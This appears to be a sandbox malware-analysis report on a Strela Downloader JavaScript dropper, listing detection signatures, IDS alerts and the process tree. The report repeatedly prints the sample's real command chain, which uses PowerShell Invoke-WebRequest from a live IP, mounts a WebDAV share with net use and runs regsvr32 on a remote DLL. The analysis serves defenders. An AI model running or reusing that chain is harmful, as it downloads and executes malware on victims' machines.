Edit tour

Windows Analysis Report
24233226922003220721.js

Overview

General Information

Sample name:	24233226922003220721.js
Analysis ID:	1588919
MD5:	de1577853f8bd4b701c23082af30633f
SHA1:	5e520a0a26ca46e7422b7091f7f1ae081f5c6cac
SHA256:	56e9c2c0c808a37406e890cc5095d73db9f5786eb6f5db4bdd1c5b422fc53b9a
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7380 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24233226922003220721.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7468 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7512 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7740 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7984 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8160 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2160 --field-trial-handle=1740,i,17434924027587996690,12863139382215928345,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7756 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7792 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8048 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7380	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7468, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7512, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7468, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7512, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24233226922003220721.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24233226922003220721.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24233226922003220721.js", ProcessId: 7380, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7792, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49701

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24233226922003220721.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7380, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, ProcessId: 7468, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24233226922003220721.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7380, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, ProcessId: 7468, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24233226922003220721.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7380, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, ProcessId: 7468, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24233226922003220721.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7380, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, ProcessId: 7468, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24233226922003220721.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7380, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, ProcessId: 7468, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24233226922003220721.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7380, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, ProcessId: 7468, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24233226922003220721.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24233226922003220721.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24233226922003220721.js", ProcessId: 7380, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7468, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7512, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7756, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7792, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8048, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7756, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7792, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24233226922003220721.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7380, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, ProcessId: 7468, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:11:30.074449+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:11:32.496581+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49701	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:11:30.074449+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 24233226922003220721.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 24233226922003220721.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 24233226922003220721.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49701 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.7:49699 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:11:29 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 